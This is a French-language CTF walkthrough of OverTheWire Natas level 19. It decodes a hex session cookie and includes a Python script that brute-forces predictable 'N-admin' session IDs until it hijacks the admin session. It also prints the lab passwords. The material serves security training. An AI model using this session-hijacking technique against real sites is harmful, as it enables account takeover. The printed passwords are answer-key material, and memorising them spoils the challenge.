Natas 19
Level Goal
Username: natas19
Password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs
URL: http://natas19.natas.labs.overthewire.org
En se connectant à la page du challenge 19 (curl http://natas19.natas.labs.overthewire.org -u natas19:4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs
) on accède à un (nouveau) formulaire de connexion :
<p>
<b>
This page uses mostly the same code as the previous level, but session IDs are no longer sequential...
</b>
</p>
<p>
Please login with your admin account to retrieve credentials for natas20.
</p>
<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
Cette fois-ci on ne dispose pas du code source de la page. Commençons toutefois par regarder la valeur d'un cookie créé par le site une fois que l'on se connecte avec des identifants aléatoires :
PHPSESSID
httpOnly true
path "/"
value "3430352d61646d696e"
La valeur value
semble beaucoup trop longue pour être attaqué directement par force brute ; elle est composée de 18 caractères hexadécimaux, ce qui représente 16 ^ 18
combinaisons différentes.
Cependant si on essaye par curiosité de décoder cette chaîne hexadécimal en ASCII on obtient :
$ echo 3430352d61646d696e | xxd -r -p
405-admin
Il semble donc que la logique de résolution soit la même que pour l'épreuve précédente ; le serveur prend 3 chiffres et les concatène à -admin
puis encode le tout en hexadécimal.
Utilisons Python pour trouver la solution ; à noter que l'on utilise la méthode RequestsCookieJar()
de requests
. En effet le cookie enregistré par le serveur comporte les paramètres spécifiques httpOnly
et path
et il se peut qu'un contrôle de ces paramètres soit fait par le serveur :
import requests
import string
def query(session_id):
jar = requests.cookies.RequestsCookieJar()
jar.set(
"PHPSESSID",
f"{session_id}-admin".encode("utf-8").hex(),
domain="natas19.natas.labs.overthewire.org",
path="/",
rest={'HttpOnly': None},
)
response = requests.get(
"http://natas19.natas.labs.overthewire.org",
cookies=jar,
auth=requests.auth.HTTPBasicAuth("natas19", "4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs"),
)
return response.text
for i in range(1, 1000):
result = query(i)
if "You are an admin" in result:
print("Session ID", i)
print(result)
break
On obtient l'identifiant de session (281
) ainsi que le mot de passe pour la prochaine épreuve : eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF